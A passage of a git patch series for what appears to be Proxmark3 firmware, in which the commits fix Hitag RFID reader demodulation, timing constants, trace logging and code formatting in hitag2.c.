lf_detect_gap(64)) != 0) { num_to_bytes(periods, 4, periods_bytes); LogTrace(periods_bytes, 4, 0, 0, NULL, true); } - -/* - // Check if frame was captured - if (rxlen > 0) { - // frame_count++; - LogTrace(rx, nbytes(rxlen), response, 0, NULL, reader_frame); - // Check if we recognize a valid authentication attempt - if (nbytes(rxlen) == 8) { - // Store the authentication attempt - if (auth_table_len < (AUTH_TABLE_LENGTH - 8)) { - memcpy(auth_table + auth_table_len, rx, 8); - auth_table_len += 8; - } - } -*/ + /* + // Check if frame was captured + if (rxlen > 0) { + // frame_count++; + LogTrace(rx, nbytes(rxlen), response, 0, NULL, reader_frame); + + // Check if we recognize a valid authentication attempt + if (nbytes(rxlen) == 8) { + // Store the authentication attempt + if (auth_table_len < (AUTH_TABLE_LENGTH - 8)) { + memcpy(auth_table + auth_table_len, rx, 8); + auth_table_len += 8; + } + } + */ } lf_finalize(); @@ -1204,54 +1210,56 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { uint8_t txbuf[HITAG_FRAME_LEN]; uint8_t *tx = txbuf; size_t txlen = 0; - int t_wait_1; - int t_wait_2; - size_t tag_size; - bool bStop = false; - + int t_wait_1; + int t_wait_2; + size_t tag_size; + bool bStop = false; + // Raw demodulation/decoding by sampling edge periods size_t periods = 0; - - // Reset the return status - bSuccessful = false; - bCrypto = false; - - // Clean up trace and prepare it for storing frames - set_tracing(true); - clear_trace(); - DbpString("Starting Hitag reader family"); + // Reset the return status + bSuccessful = false; + bCrypto = false; + + // Clean up trace and prepare it for storing frames + set_tracing(true); + clear_trace(); + + DbpString("Starting Hitag reader family"); // Check configuration switch (htf) { - case RHT1F_PLAIN: { - Dbprintf("Read public blocks in plain mode"); - // this part will be unreadable - memset(tag.sectors+2, 0x0, 30); - blocknr = 0; - } break; - - case RHT1F_AUTHENTICATE: { - Dbprintf("Read all blocks in authed mode"); - memcpy(nonce, htd->ht1auth.nonce, 4); - memcpy(key, htd->ht1auth.key, 4); - memcpy(logdata_0, htd->ht1auth.logdata_0, 4); - memcpy(logdata_1, htd->ht1auth.logdata_1, 4); - // TEST - memset(nonce, 0x0, 4); - memset(logdata_1, 0x00, 4); - byte_value = 0; - key_no = htd->ht1auth.key_no; - Dbprintf("Authenticating using key #%d:", key_no); - Dbhexdump(4, key, false); - DbpString("Nonce:"); - Dbhexdump(4, nonce, false); - DbpString("Logdata_0:"); - Dbhexdump(4, logdata_0, false); - DbpString("Logdata_1:"); - Dbhexdump(4, logdata_1, false); + case RHT1F_PLAIN: { + Dbprintf("Read public blocks in plain mode"); + // this part will be unreadable + memset(tag.sectors + 2, 0x0, 30); blocknr = 0; - } break; + } + break; + + case RHT1F_AUTHENTICATE: { + Dbprintf("Read all blocks in authed mode"); + memcpy(nonce, htd->ht1auth.nonce, 4); + memcpy(key, htd->ht1auth.key, 4); + memcpy(logdata_0, htd->ht1auth.logdata_0, 4); + memcpy(logdata_1, htd->ht1auth.logdata_1, 4); + // TEST + memset(nonce, 0x0, 4); + memset(logdata_1, 0x00, 4); + byte_value = 0; + key_no = htd->ht1auth.key_no; + Dbprintf("Authenticating using key #%d:", key_no); + Dbhexdump(4, key, false); + DbpString("Nonce:"); + Dbhexdump(4, nonce, false); + DbpString("Logdata_0:"); + Dbhexdump(4, logdata_0, false); + DbpString("Logdata_1:"); + Dbhexdump(4, logdata_1, false); + blocknr = 0; + } + break; case RHT2F_PASSWORD: { Dbprintf("List identifier in password mode"); memcpy(password, htd->pwd.password, 4); @@ -1272,9 +1280,9 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { DbpString("Authenticating using key:"); memcpy(key, htd->crypto.key, 6); //HACK; 4 or 6?? I read both in the code. Dbhexdump(6, key, false); - DbpString("Nonce:"); - Dbhexdump(4,nonce,false); - memcpy(nonce,htd->crypto.data,4); + DbpString("Nonce:"); + Dbhexdump(4, nonce, false); + memcpy(nonce, htd->crypto.data, 4); blocknr = 0; bCrypto = false; bAuthenticating = false; @@ -1308,9 +1316,9 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { lf_init(true); uint8_t attempt_count = 0; - + // Tag specific configuration settings (sof, timings, etc.) - if (htf < 10){ + if (htf < 10) { // hitagS settings t_wait_1 = 204; t_wait_2 = 128; @@ -1356,14 +1364,16 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { // By default reset the transmission buffer tx = txbuf; switch (htf) { - case RHT1F_PLAIN: { - bStop = !hitag_plain(rx, rxlen, tx, &txlen, false); - } break; - + case RHT1F_PLAIN: { + bStop = !hitag_plain(rx, rxlen, tx, &txlen, false); + } + break; + case RHT1F_AUTHENTICATE: { - bStop = !hitag1_authenticate(rx, rxlen, tx, &txlen); - } break; - + bStop = !hitag1_authenticate(rx, rxlen, tx, &txlen); + } + break; + case RHT2F_PASSWORD: { bStop = !hitag2_password(rx, rxlen, tx, &txlen, false); break; @@ -1396,7 +1406,7 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { // Wait for t_wait_2 carrier periods after the last tag bit before transmitting, lf_wait_periods(t_wait_2); - + // Transmit the reader frame hitag_reader_send_frame(tx, txlen); @@ -1406,13 +1416,13 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { // Reset the response time (in number of periods) response = 0; - + // Keep administration of the first edge detection bool waiting_for_first_edge = true; // Did we detected any modulaiton at all bool detected_tag_modulation = false; - + // Use the current modulation state as starting point tag_modulation = lf_get_tag_modulation(); @@ -1427,7 +1437,7 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { // Just break out of loop after an initial time-out (tag is probably not available) if (periods == 0) break; // Register the number of periods that have passed - response = t_wait_1-64 + periods; + response = t_wait_1 - 64 + periods; // Indicate that we have dealt with the first edge waiting_for_first_edge = false; // The first edge is always a single NRZ bit, force periods on 16 @@ -1437,20 +1447,20 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { } else { // The function lf_count_edge_periods() returns 0 when a time-out occurs if (periods == 0) { - Dbprintf("Detected timeout after [%d] nrz samples",nrzs); + Dbprintf("Detected timeout after [%d] nrz samples", nrzs); break; } } - + // Evaluate the number of periods before the next edge - if (periods > 24 && periods <= 64){ + if (periods > 24 && periods <= 64) { // Detected two sequential equal bits and a modulation switch // NRZ modulation: (11 => --|) or (11 __|) nrz_samples[nrzs++] = tag_modulation; nrz_samples[nrzs++] = tag_modulation; // Invert tag modulation state tag_modulation ^= 1; - } else if (periods > 0 && periods <= 24){ + } else if (periods > 0 && periods <= 24) { // Detected one bit and a modulation switch // NRZ modulation: (1 => -|) or (0 _|) nrz_samples[nrzs++] = tag_modulation; @@ -1492,24 +1502,24 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { LED_B_ON(); // decode bitstream - manrawdecode((uint8_t*)nrz_samples, &nrzs, true, 0); + manrawdecode((uint8_t *)nrz_samples, &nrzs, true, 0); // decode frame - + // Verify if the header consists of five consecutive ones if (nrzs < 5) { - Dbprintf("Detected unexpected number of manchester decoded samples [%d]",nrzs); + Dbprintf("Detected unexpected number of manchester decoded samples [%d]", nrzs); break; } else { - for (size_t i = 0; i < 5; i++){ + for (size_t i = 0; i < 5; i++) { if (nrz_samples[i] != 1) { - Dbprintf("Detected incorrect header, the bit [%d] is zero instead of one",i); + Dbprintf("Detected incorrect header, the bit [%d] is zero instead of one", i); } } } - + // Pack the response into a byte array - for (size_t i = 5; i < nrzs; i++){ + for (size_t i = 5; i < nrzs; i++) { uint8_t bit = nrz_samples[i]; rx[rxlen / 8] |= bit << (7 - (rxlen % 8)); rxlen++; @@ -1529,11 +1539,11 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { LogTrace(rx, nbytes(rxlen), response, 0, NULL, false); Dbhexdump(nbytes(rxlen), rx, false); } - } + } out: lf_finalize(); - Dbprintf("frame received: %u", frame_count); + Dbprintf("frame received: %u", frame_count); // release allocated memory from BigBuff. BigBuf_free(); diff --git a/include/hitag.h b/include/hitag.h index b8555600b..af90c9f88 100644 --- a/include/hitag.h +++ b/include/hitag.h @@ -21,8 +21,8 @@ typedef enum { RHTSF_KEY = 02, WHTSF_CHALLENGE = 03, WHTSF_KEY = 04, - RHT1F_PLAIN = 11, - RHT1F_AUTHENTICATE = 12, + RHT1F_PLAIN = 11, + RHT1F_AUTHENTICATE = 12, RHT2F_PASSWORD = 21, RHT2F_AUTHENTICATE = 22, RHT2F_CRYPTO = 23, @@ -47,16 +47,16 @@ typedef struct { } PACKED rht2d_crypto; typedef struct { - bool key_no; - uint8_t logdata_0[4]; - uint8_t logdata_1[4]; - uint8_t nonce[4]; - uint8_t key[4]; + bool key_no; + uint8_t logdata_0[4]; + uint8_t logdata_1[4]; + uint8_t nonce[4]; + uint8_t key[4]; } PACKED rht1d_authenticate; typedef union { rht2d_password pwd; - rht1d_authenticate ht1auth; + rht1d_authenticate ht1auth; rht2d_authenticate auth; rht2d_crypto crypto; } hitag_data; From b2db893e836c0f37f6d0c2ea1ebe72aaf02d3fa7 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 15 Jan 2020 21:14:16 +0100 Subject: [PATCH 317/418] fix hitag demodulation when ending on unexpected period count + completion with last half --- armsrc/hitag2.c | 1 - 1 file changed, 1 deletion(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 474207590..b9aeafd2b 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -1466,7 +1466,6 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { nrz_samples[nrzs++] = tag_modulation; tag_modulation ^= 1; } else { - tag_modulation ^= 1; // The function lf_count_edge_periods() returns > 64 periods, this is not a valid number periods Dbprintf("Detected unexpected period count: %d", periods); break; From da048ea49144d585ccb49ff2395d5d94b5f67d8d Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 15 Jan 2020 22:07:49 +0100 Subject: [PATCH 318/418] fix hitag demodulation when first positive period is not detected --- armsrc/hitag2.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index b9aeafd2b..13681c803 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -1436,8 +1436,18 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { if (waiting_for_first_edge) { // Just break out of loop after an initial time-out (tag is probably not available) if (periods == 0) break; - // Register the number of periods that have passed - response = t_wait_1 - 64 + periods; + if (tag_modulation == 0) { + // hitag replies always start with 11111 == 1010101010, if we see 0 + // it means we missed the first period, e.g. if the signal never crossed 0 since reader signal + // so let's add it: + nrz_samples[nrzs++] = tag_modulation ^ 1; + // Register the number of periods that have passed + // we missed the begin of response but we know it happened one period of 16 earlier + response = t_wait_1 - 64 + periods - 16; + } else { + // Register the number of periods that have passed + response = t_wait_1 - 64 + periods; + } // Indicate that we have dealt with the first edge waiting_for_first_edge = false; // The first edge is always a single NRZ bit, force periods on 16 From aa0879eee42aca4515e608f172d6136f82f77841 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 15 Jan 2020 23:22:42 +0100 Subject: [PATCH 319/418] reduce window included in wait_1 before response to avoid phantom symbols --- armsrc/hitag2.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 13681c803..9127926d8 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -1211,6 +1211,7 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { uint8_t *tx = txbuf; size_t txlen = 0; int t_wait_1; + int t_wait_1_guard = 8; int t_wait_2; size_t tag_size; bool bStop = false; @@ -1412,7 +1413,7 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { // Let the antenna and ADC values settle // And find the position where edge sampling should start - lf_wait_periods(t_wait_1 - 64); + lf_wait_periods(t_wait_1 - t_wait_1_guard); // Reset the response time (in number of periods) response = 0; @@ -1443,10 +1444,10 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { nrz_samples[nrzs++] = tag_modulation ^ 1; // Register the number of periods that have passed // we missed the begin of response but we know it happened one period of 16 earlier - response = t_wait_1 - 64 + periods - 16; + response = t_wait_1 - t_wait_1_guard + periods - 16; } else { // Register the number of periods that have passed - response = t_wait_1 - 64 + periods; + response = t_wait_1 - t_wait_1_guard + periods; } // Indicate that we have dealt with the first edge waiting_for_first_edge = false; From 65de9ca2c22767ace3544c6656d4c10e1791c3fa Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 15 Jan 2020 23:25:30 +0100 Subject: [PATCH 320/418] hitag: RX was logged twice --- armsrc/hitag2.c | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 9127926d8..f61cdf432 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -1354,14 +1354,6 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { WDT_HIT(); - // Check if frame was captured and store it - if (rxlen > 0) { - frame_count++; - response++; - LogTrace(rx, nbytes(rxlen), response, response, NULL, false); - //Dbhexdump(nbytes(rxlen), rx, false); - } - // By default reset the transmission buffer tx = txbuf; switch (htf) { @@ -1546,7 +1538,8 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { // rxlen = 32; // } - LogTrace(rx, nbytes(rxlen), response, 0, NULL, false); + // TODO response times should be cumulative/absolute + LogTrace(rx, nbytes(rxlen), response, response, NULL, false); Dbhexdump(nbytes(rxlen), rx, false); } } From 3d95590fc92c071edaf487838176509770fb4924 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 15 Jan 2020 23:26:02 +0100 Subject: [PATCH 321/418] hitag: comment debug messages in critical loop --- armsrc/hitag2.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index f61cdf432..a161b4463 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -1450,7 +1450,7 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { } else { // The function lf_count_edge_periods() returns 0 when a time-out occurs if (periods == 0) { - Dbprintf("Detected timeout after [%d] nrz samples", nrzs); + //Dbprintf("Detected timeout after [%d] nrz samples", nrzs); break; } } @@ -1470,7 +1470,7 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { tag_modulation ^= 1; } else { // The function lf_count_edge_periods() returns > 64 periods, this is not a valid number periods - Dbprintf("Detected unexpected period count: %d", periods); + //Dbprintf("Detected unexpected period count: %d", periods); break; } } @@ -1510,7 +1510,7 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { // Verify if the header consists of five consecutive ones if (nrzs < 5) { - Dbprintf("Detected unexpected number of manchester decoded samples [%d]", nrzs); + //Dbprintf("Detected unexpected number of manchester decoded samples [%d]", nrzs); break; } else { for (size_t i = 0; i < 5; i++) { From 52640422f121f52b9e039a62de058093bc1d504b Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 16 Jan 2020 00:01:03 +0100 Subject: [PATCH 322/418] hitag: wip timings in trace, still "lf hitag list" hangs quite often... --- armsrc/hitag2.c | 45 +++++++++++++++++++++++++++++++-------------- 1 file changed, 31 insertions(+), 14 deletions(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index a161b4463..242f778f4 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -297,7 +297,8 @@ static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_ } // sim -static void hitag_reader_send_bit(int bit) { +static uint32_t hitag_reader_send_bit(int bit) { + uint32_t wait = 0; LED_A_ON(); // Binary pulse length modulation (BPLM) is used to encode the data stream // This means that a transmission of a one takes longer than that of a zero @@ -307,6 +308,7 @@ static void hitag_reader_send_bit(int bit) { // Wait for 4-10 times the carrier period lf_wait_periods(8); // wait for 4-10 times the carrier period + wait += 8; // Disable modulation, just activates the field again lf_modulation(false); @@ -314,29 +316,36 @@ static void hitag_reader_send_bit(int bit) { if (bit == 0) { // Zero bit: |_-| lf_wait_periods(12); // wait for 18-22 times the carrier period + wait += 12; } else { // One bit: |_--| lf_wait_periods(22); // wait for 26-32 times the carrier period + wait += 22; } /*lf_wait_periods(10);*/ LED_A_OFF(); + return wait; } // sim -static void hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) { +static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) { + uint32_t wait = 0; // Send the content of the frame for (size_t i = 0; i < frame_len; i++) { - hitag_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); + wait += hitag_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); } // Enable modulation, which means, drop the field lf_modulation(true); // Wait for 4-10 times the carrier period lf_wait_periods(8); + wait += 8; // Disable modulation, just activates the field again lf_modulation(false); // t_stop, high field for stop condition (> 36) lf_wait_periods(28); + wait += 28; + return wait; } size_t blocknr; @@ -1204,7 +1213,10 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { StopTicks(); int frame_count = 0; - int response; + uint32_t command_start = 0; + uint32_t command_duration = 0; + uint32_t response_start = 0; + uint32_t response_duration = 0; uint8_t rx[HITAG_FRAME_LEN]; size_t rxlen = 0; uint8_t txbuf[HITAG_FRAME_LEN]; @@ -1399,16 +1411,16 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { // Wait for t_wait_2 carrier periods after the last tag bit before transmitting, lf_wait_periods(t_wait_2); + command_start += t_wait_2; // Transmit the reader frame - hitag_reader_send_frame(tx, txlen); + command_duration = hitag_reader_send_frame(tx, txlen); + response_start = command_start + command_duration; // Let the antenna and ADC values settle // And find the position where edge sampling should start lf_wait_periods(t_wait_1 - t_wait_1_guard); - - // Reset the response time (in number of periods) - response = 0; + response_start += t_wait_1 - t_wait_1_guard; // Keep administration of the first edge detection bool waiting_for_first_edge = true; @@ -1436,10 +1448,12 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { nrz_samples[nrzs++] = tag_modulation ^ 1; // Register the number of periods that have passed // we missed the begin of response but we know it happened one period of 16 earlier - response = t_wait_1 - t_wait_1_guard + periods - 16; + response_start += periods - 16; + response_duration = response_start; } else { // Register the number of periods that have passed - response = t_wait_1 - t_wait_1_guard + periods; + response_start += periods; + response_duration = response_start; } // Indicate that we have dealt with the first edge waiting_for_first_edge = false; @@ -1454,19 +1468,20 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { break; } } - // Evaluate the number of periods before the next edge if (periods > 24 && periods <= 64) { // Detected two sequential equal bits and a modulation switch // NRZ modulation: (11 => --|) or (11 __|) nrz_samples[nrzs++] = tag_modulation; nrz_samples[nrzs++] = tag_modulation; + response_duration += periods; // Invert tag modulation state tag_modulation ^= 1; } else if (periods > 0 && periods <= 24) { // Detected one bit and a modulation switch // NRZ modulation: (1 => -|) or (0 _|) nrz_samples[nrzs++] = tag_modulation; + response_duration += periods; tag_modulation ^= 1; } else { // The function lf_count_edge_periods() returns > 64 periods, this is not a valid number periods @@ -1480,7 +1495,7 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { // still use the same memory space) if (txlen > 0) { frame_count++; - LogTrace(tx, nbytes(txlen), HITAG_T_WAIT_2, HITAG_T_WAIT_2, NULL, true); + LogTrace(tx, nbytes(txlen), command_start, command_start + command_duration, NULL, true); } // Reset values for receiving frames @@ -1538,8 +1553,10 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { // rxlen = 32; // } - // TODO response times should be cumulative/absolute - LogTrace(rx, nbytes(rxlen), response, response, NULL, false); + LogTrace(rx, nbytes(rxlen), response_start, response_start + response_duration, NULL, false); +// TODO when using cumulative time for command_start, pm3 doesn't reply anymore, e.g. on lf hitag read 23 4F4E4D494B52 +// command_start = response_start + response_duration; + command_start = 0; Dbhexdump(nbytes(rxlen), rx, false); } } From d2fb44710ff936c3b994a1084560fc787425639e Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 16 Jan 2020 00:07:54 +0100 Subject: [PATCH 323/418] Abort when Manchester goes wrong rather than outputting wrong values --- armsrc/hitag2.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 242f778f4..90cdc53c3 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -1538,6 +1538,10 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { // Pack the response into a byte array for (size_t i = 5; i < nrzs; i++) { uint8_t bit = nrz_samples[i]; + if (bit > 1) { // When Manchester detects impossible symbol it writes "7" + //Dbprintf("Error in Manchester decoding, abort"); + break; + } rx[rxlen / 8] |= bit << (7 - (rxlen % 8)); rxlen++; } From 870bbd1f775b82f768426c979cae841f0ec980d0 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 16 Jan 2020 00:09:06 +0100 Subject: [PATCH 324/418] hitag: comment data dump --- armsrc/hitag2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 90cdc53c3..a5a3e92cb 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -1561,7 +1561,7 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { // TODO when using cumulative time for command_start, pm3 doesn't reply anymore, e.g. on lf hitag read 23 4F4E4D494B52 // command_start = response_start + response_duration; command_start = 0; - Dbhexdump(nbytes(rxlen), rx, false); + // Dbhexdump(nbytes(rxlen), rx, false); } } From 7a27f5dddb0033d0fcf1c6d1c77ac078db868bd2 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 16 Jan 2020 00:25:44 +0100 Subject: [PATCH 325/418] rephrase debug --- armsrc/hitag2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index a5a3e92cb..3920d0010 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -1567,7 +1567,7 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { out: lf_finalize(); - Dbprintf("frame received: %u", frame_count); + Dbprintf("TX/RX frames recorded: %u", frame_count); // release allocated memory from BigBuff. BigBuf_free(); From 9df6fa8e8e1382c592e74683567dd1517bd74368 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 16 Jan 2020 00:26:15 +0100 Subject: [PATCH 326/418] hitag: stop detecting if response header is corrupted --- armsrc/hitag2.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 3920d0010..4387f109f 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -1528,11 +1528,14 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { //Dbprintf("Detected unexpected number of manchester decoded samples [%d]", nrzs); break; } else { - for (size_t i = 0; i < 5; i++) { + size_t i; + for (i = 0; i < 5; i++) { if (nrz_samples[i] != 1) { - Dbprintf("Detected incorrect header, the bit [%d] is zero instead of one", i); + Dbprintf("Detected incorrect header, the bit [%d] is zero instead of one, abort", i); + break; } } + if (i < 5) break; } // Pack the response into a byte array From f2eec56fb72e30991a7677905886864850f337ea Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 16 Jan 2020 00:49:05 +0100 Subject: [PATCH 327/418] hitag: cosmetic --- armsrc/hitag2.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 4387f109f..b962e04df 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -315,12 +315,12 @@ static uint32_t hitag_reader_send_bit(int bit) { if (bit == 0) { // Zero bit: |_-| - lf_wait_periods(12); // wait for 18-22 times the carrier period - wait += 12; + lf_wait_periods(20-8); // wait for 18-22 times the carrier period + wait += 20-8; } else { // One bit: |_--| - lf_wait_periods(22); // wait for 26-32 times the carrier period - wait += 22; + lf_wait_periods(30-8); // wait for 26-32 times the carrier period + wait += 30-8; } /*lf_wait_periods(10);*/ LED_A_OFF(); @@ -343,8 +343,8 @@ static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) lf_modulation(false); // t_stop, high field for stop condition (> 36) - lf_wait_periods(28); - wait += 28; + lf_wait_periods(36-8); + wait += 36-8; return wait; } From 631c11e22cbdac3c1a3f4d93991e77fd097d816b Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 16 Jan 2020 00:57:21 +0100 Subject: [PATCH 328/418] hitag: use defines --- armsrc/hitag2.c | 22 ++++++++++++---------- 1 file changed, 12 insertions(+), 10 deletions(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index b962e04df..410b7f84b 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -109,11 +109,13 @@ static int hitag2_init(void) { #define HITAG_T_STOP 36 /* T_EOF should be > 36 */ #define HITAG_T_LOW 8 /* T_LOW should be 4..10 */ #define HITAG_T_0_MIN 15 /* T[0] should be 18..22 */ +#define HITAG_T_0 20 /* T[0] should be 18..22 */ #define HITAG_T_1_MIN 25 /* T[1] should be 26..30 */ +#define HITAG_T_1 30 /* T[1] should be 26..30 */ //#define HITAG_T_EOF 40 /* T_EOF should be > 36 */ #define HITAG_T_EOF 80 /* T_EOF should be > 36 */ #define HITAG_T_WAIT_1 200 /* T_wresp should be 199..206 */ -#define HITAG_T_WAIT_2 90 /* T_wresp should be 199..206 */ +#define HITAG_T_WAIT_2 90 /* T_wait2 should be at least 90 */ #define HITAG_T_WAIT_MAX 300 /* bit more than HITAG_T_WAIT_1 + HITAG_T_WAIT_2 */ #define HITAG_T_PROG 614 @@ -315,12 +317,12 @@ static uint32_t hitag_reader_send_bit(int bit) { if (bit == 0) { // Zero bit: |_-| - lf_wait_periods(20-8); // wait for 18-22 times the carrier period - wait += 20-8; + lf_wait_periods(HITAG_T_0-HITAG_T_LOW); // wait for 18-22 times the carrier period + wait += HITAG_T_0-HITAG_T_LOW; } else { // One bit: |_--| - lf_wait_periods(30-8); // wait for 26-32 times the carrier period - wait += 30-8; + lf_wait_periods(HITAG_T_1-HITAG_T_LOW); // wait for 26-32 times the carrier period + wait += HITAG_T_1-HITAG_T_LOW; } /*lf_wait_periods(10);*/ LED_A_OFF(); @@ -337,14 +339,14 @@ static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) // Enable modulation, which means, drop the field lf_modulation(true); // Wait for 4-10 times the carrier period - lf_wait_periods(8); - wait += 8; + lf_wait_periods(HITAG_T_LOW); + wait += HITAG_T_LOW; // Disable modulation, just activates the field again lf_modulation(false); // t_stop, high field for stop condition (> 36) - lf_wait_periods(36-8); - wait += 36-8; + lf_wait_periods(HITAG_T_STOP-HITAG_T_LOW); + wait += HITAG_T_STOP-HITAG_T_LOW; return wait; } @@ -1349,7 +1351,7 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { } else if (htf < 30) { // hitag2 settings t_wait_1 = 206; - t_wait_2 = 90; + t_wait_2 = HITAG_T_WAIT_2; tag_size = 48; DbpString("Configured for hitag2 reader"); } else { From 091a594063afabbc4ff76bf6f9bf2f7d88013062 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 16 Jan 2020 01:12:34 +0100 Subject: [PATCH 329/418] hitag: more timings --- armsrc/hitag2.c | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 410b7f84b..f27a9cf5e 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -114,8 +114,8 @@ static int hitag2_init(void) { #define HITAG_T_1 30 /* T[1] should be 26..30 */ //#define HITAG_T_EOF 40 /* T_EOF should be > 36 */ #define HITAG_T_EOF 80 /* T_EOF should be > 36 */ -#define HITAG_T_WAIT_1 200 /* T_wresp should be 199..206 */ -#define HITAG_T_WAIT_2 90 /* T_wait2 should be at least 90 */ +#define HITAG_T_WAIT_1_MIN 199 /* T_wresp should be 199..206 */ +#define HITAG_T_WAIT_2_MIN 90 /* T_wait2 should be at least 90 */ #define HITAG_T_WAIT_MAX 300 /* bit more than HITAG_T_WAIT_1 + HITAG_T_WAIT_2 */ #define HITAG_T_PROG 614 @@ -345,8 +345,8 @@ static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) lf_modulation(false); // t_stop, high field for stop condition (> 36) - lf_wait_periods(HITAG_T_STOP-HITAG_T_LOW); - wait += HITAG_T_STOP-HITAG_T_LOW; + lf_wait_periods(HITAG_T_STOP); + wait += HITAG_T_STOP; return wait; } @@ -1172,7 +1172,7 @@ void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data) { // with respect to the falling edge, we need to wait actually (T_Wait1 - T_Low) // periods. The gap time T_Low varies (4..10). All timer values are in // terms of T0 units - while (AT91C_BASE_TC0->TC_CV < T0 * (HITAG_T_WAIT_1 - HITAG_T_LOW)); + while (AT91C_BASE_TC0->TC_CV < T0 * (HITAG_T_WAIT_1_MIN - HITAG_T_LOW)); // Send and store the tag answer (if there is any) if (txlen) { @@ -1350,8 +1350,8 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { DbpString("Configured for hitag1 reader"); } else if (htf < 30) { // hitag2 settings - t_wait_1 = 206; - t_wait_2 = HITAG_T_WAIT_2; + t_wait_1 = HITAG_T_WAIT_1_MIN; + t_wait_2 = HITAG_T_WAIT_2_MIN; tag_size = 48; DbpString("Configured for hitag2 reader"); } else { @@ -1697,7 +1697,7 @@ void WriterHitag(hitag_function htf, hitag_data *htd, int page) { } else if (htf < 30) { // hitag2 settings reset_sof = 4; - t_wait = HITAG_T_WAIT_2; + t_wait = 